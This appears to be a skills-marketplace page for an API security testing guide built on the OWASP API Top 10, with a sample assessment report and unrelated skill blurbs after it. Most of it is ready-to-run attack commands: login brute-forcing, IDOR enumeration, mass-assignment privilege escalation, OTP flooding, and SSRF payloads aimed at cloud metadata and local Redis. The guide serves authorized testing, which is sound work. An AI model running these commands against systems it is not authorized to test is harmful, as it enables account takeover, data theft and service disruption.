external/anthropic-cybersecurity-skills/skills/testing-api-security-with-owasp-top-10/SKILL.md
Systematically assessing REST and GraphQL API endpoints against the OWASP API Security Top 10 risks using automated and manual testing techniques.
npx skillsauth add seikaikyo/dash-skills testing-api-security-with-owasp-top-10Install this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
apt install jq)Enumerate all available API endpoints and understand the API surface.
# If OpenAPI/Swagger spec is available, download it
curl -s "https://api.target.example.com/swagger.json" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/v2/api-docs" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/openapi.yaml"
# Fuzz for API endpoints
ffuf -u "https://api.target.example.com/api/v1/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-mc 200,201,204,301,401,403,405 \
-fc 404 \
-H "Content-Type: application/json" \
-o api-enum.json -of json
# Fuzz for API versions
for v in v1 v2 v3 v4 beta internal admin; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://api.target.example.com/api/$v/users")
echo "$v: $status"
done
# Check for GraphQL endpoint
for path in graphql graphiql playground query gql; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"query":"{__typename}"}' \
"https://api.target.example.com/$path")
echo "$path: $status"
done
Test whether users can access objects belonging to other users by manipulating IDs.
# Authenticate as User A and get their resources
TOKEN_A="Bearer eyJhbGciOiJIUzI1NiIs..."
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101/orders" | jq .
# Try accessing User B's resources with User A's token
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/102/orders" | jq .
# Fuzz object IDs with Burp Intruder or ffuf
ffuf -u "https://api.target.example.com/api/v1/orders/FUZZ" \
-w <(seq 1 1000) \
-H "Authorization: $TOKEN_A" \
-mc 200 -t 10 -rate 50
# Test IDOR with different ID formats
# Numeric: /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Encoded: /users/MTAy (base64)
Assess authentication mechanisms for weaknesses.
# Test for missing authentication
curl -s "https://api.target.example.com/api/v1/users" | jq .
# Test JWT token vulnerabilities
# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Test "alg: none" attack
# Header: {"alg":"none","typ":"JWT"}
# Create unsigned token with modified claims
# Test brute-force protection on login
ffuf -u "https://api.target.example.com/api/v1/auth/login" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"FUZZ"}' \
-w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt \
-mc 200 -t 5 -rate 10
# Test password reset flow
curl -s -X POST "https://api.target.example.com/api/v1/auth/reset" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]"}'
# Check if token is in response body instead of email only
Test for excessive data exposure and mass assignment vulnerabilities.
# Check for excessive data in responses
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101" | jq .
# Look for: password hashes, SSNs, internal IDs, admin flags, PII
# Test mass assignment - try adding admin properties
curl -s -X PUT \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Test User","role":"admin","is_admin":true}' \
"https://api.target.example.com/api/v1/users/101" | jq .
# Test with PATCH method
curl -s -X PATCH \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"role":"admin","balance":999999}' \
"https://api.target.example.com/api/v1/users/101" | jq .
# Check if filtering parameters expose more data
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?fields=all" | jq .
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users/101?include=password,ssn" | jq .
Verify rate limiting and resource consumption controls.
# Test rate limiting on authentication endpoint
for i in $(seq 1 100); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"wrong"}' \
"https://api.target.example.com/api/v1/auth/login")
echo "Attempt $i: $status"
if [ "$status" == "429" ]; then
echo "Rate limited at attempt $i"
break
fi
done
# Test for unrestricted resource consumption
# Large pagination
curl -s -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/users?limit=100000&offset=0" | jq '. | length'
# GraphQL depth/complexity attack
curl -s -X POST \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN_A" \
-d '{"query":"{ users { friends { friends { friends { friends { name } } } } } }"}' \
"https://api.target.example.com/graphql"
# Test SMS/email flooding via OTP endpoint
for i in $(seq 1 20); do
curl -s -X POST -H "Content-Type: application/json" \
-d '{"phone":"+1234567890"}' \
"https://api.target.example.com/api/v1/auth/send-otp"
done
Check for privilege escalation through administrative endpoints.
# Test admin endpoints with regular user token
ADMIN_ENDPOINTS=(
"/api/v1/admin/users"
"/api/v1/admin/settings"
"/api/v1/admin/logs"
"/api/v1/internal/config"
"/api/v1/users?role=admin"
"/api/v1/admin/export"
)
for endpoint in "${ADMIN_ENDPOINTS[@]}"; do
for method in GET POST PUT DELETE; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-X "$method" \
-H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
"https://api.target.example.com$endpoint")
if [ "$status" != "403" ] && [ "$status" != "401" ] && [ "$status" != "404" ]; then
echo "POTENTIAL ISSUE: $method $endpoint returned $status"
fi
done
done
# Test HTTP method switching
# If GET /admin/users returns 403, try:
curl -s -X POST -H "Authorization: $TOKEN_A" \
"https://api.target.example.com/api/v1/admin/users"
# API7: Server-Side Request Forgery
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
"https://api.target.example.com/api/v1/fetch-url"
curl -s -X POST -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"webhook_url":"http://127.0.0.1:6379/"}' \
"https://api.target.example.com/api/v1/webhooks"
# API8: Security Misconfiguration
# Check CORS policy
curl -s -I -H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/v1/users" | grep -i "access-control"
# Check for verbose error messages
curl -s -X POST -H "Content-Type: application/json" \
-d '{"invalid": "data' \
"https://api.target.example.com/api/v1/users"
# Check security headers
curl -s -I "https://api.target.example.com/api/v1/health" | grep -iE \
"(x-frame|x-content|strict-transport|content-security|x-xss)"
# API9: Improper Inventory Management
# Test deprecated API versions
for v in v0 v1 v2 v3; do
curl -s -o /dev/null -w "$v: %{http_code}\n" \
"https://api.target.example.com/api/$v/users"
done
# API10: Unsafe Consumption of APIs
# Test if the API blindly trusts third-party data
# Check webhook/callback implementations for injection
| Concept | Description | |---------|-------------| | BOLA (API1) | Broken Object Level Authorization - accessing objects belonging to other users | | Broken Authentication (API2) | Weak authentication mechanisms allowing credential stuffing or token manipulation | | BOPLA (API3) | Broken Object Property Level Authorization - excessive data exposure or mass assignment | | Unrestricted Resource Consumption (API4) | Missing rate limiting enabling DoS or brute-force attacks | | Broken Function Level Auth (API5) | Regular users accessing admin-level API functions | | SSRF (API7) | Server-Side Request Forgery through API parameters accepting URLs | | Security Misconfiguration (API8) | Missing security headers, verbose errors, permissive CORS | | Improper Inventory (API9) | Undocumented, deprecated, or shadow API endpoints left exposed |
| Tool | Purpose | |------|---------| | Burp Suite Professional | API interception, scanning, and manual testing | | Postman | API collection management and automated test execution | | ffuf | API endpoint and parameter fuzzing | | Kiterunner | API endpoint discovery using common API path patterns | | jwt_tool | JWT token analysis, manipulation, and attack automation | | GraphQL Voyager | GraphQL schema visualization and introspection analysis | | Arjun | HTTP parameter discovery for API endpoints |
User A can access User B's order details by changing the order ID in /api/v1/orders/{id}. The API only checks authentication but not authorization on the object level.
The user update endpoint accepts a role field in the JSON body. By adding "role":"admin" to a profile update request, a regular user escalates to administrator privileges.
The /api/v2/users endpoint has proper rate limiting, but /api/v1/users (still active) has no rate limiting. Attackers use the old version to brute-force credentials.
GraphQL introspection is enabled in production, exposing the entire schema including internal queries, mutations, and sensitive field names that are not used in the frontend.
## API Security Assessment Report
**Target**: api.target.example.com
**API Type**: REST (OpenAPI 3.0)
**Assessment Date**: 2024-01-15
**OWASP API Security Top 10 (2023) Coverage**
| Risk | Status | Severity | Details |
|------|--------|----------|---------|
| API1: BOLA | VULNERABLE | Critical | /api/v1/orders/{id} - IDOR confirmed |
| API2: Broken Auth | VULNERABLE | High | No rate limit on /auth/login |
| API3: BOPLA | VULNERABLE | High | User role modifiable via mass assignment |
| API4: Resource Consumption | VULNERABLE | Medium | No pagination limit enforced |
| API5: Function Level Auth | PASS | - | Admin endpoints properly restricted |
| API6: Unrestricted Sensitive Flows | VULNERABLE | Medium | OTP endpoint lacks rate limiting |
| API7: SSRF | PASS | - | URL parameters properly validated |
| API8: Misconfiguration | VULNERABLE | Medium | Verbose stack traces in error responses |
| API9: Improper Inventory | VULNERABLE | Low | API v1 still accessible without docs |
| API10: Unsafe Consumption | NOT TESTED | - | No third-party API integrations found |
### Critical Finding: BOLA on Orders API
Authenticated users can access any order by iterating order IDs.
Tested range: 1-1000, 847 valid orders accessible.
PII exposure: names, addresses, payment details.
development
拋棄式 HTML mockup 比稿:產出 2 到 3 個設計立場不同的變體(密度 / 版式 / 強調軸,不是換色),各附取捨說明,最後給有立場的對比結論。適用:「畫個草圖」「比較 A 版 B 版」「先看方向再做」「給我看幾種做法」。要 production 元件或設計已定案時不適用。
tools
需求不明時的意圖萃取訪談:一次一題、每題附上自己的猜測、聽出「真正想要 vs 覺得應該要」,直到能預測使用者反應(約 95% 信心)才動工。適用:需求缺少對象 / 動機 / 成功標準 / 約束,或使用者點名「訪談我」「先確認一下」「我們確定嗎」。明確自足的指示、純資訊查詢、機械性操作不適用。
development
對非平凡決策啟動新鮮 context 對抗審查(找碴不背書),在修正還便宜的時候抓出錯誤方向。適用:高風險改動(production、資安敏感邏輯、不可逆操作)、不熟的程式碼、要宣稱「這樣是安全的 / 可行的」之前。機械性操作與一行修改不適用。
testing
Reference for writing and editing agent skills well — the vocabulary and principles that make a skill predictable. Consult when authoring, reviewing, or pruning a SKILL.md.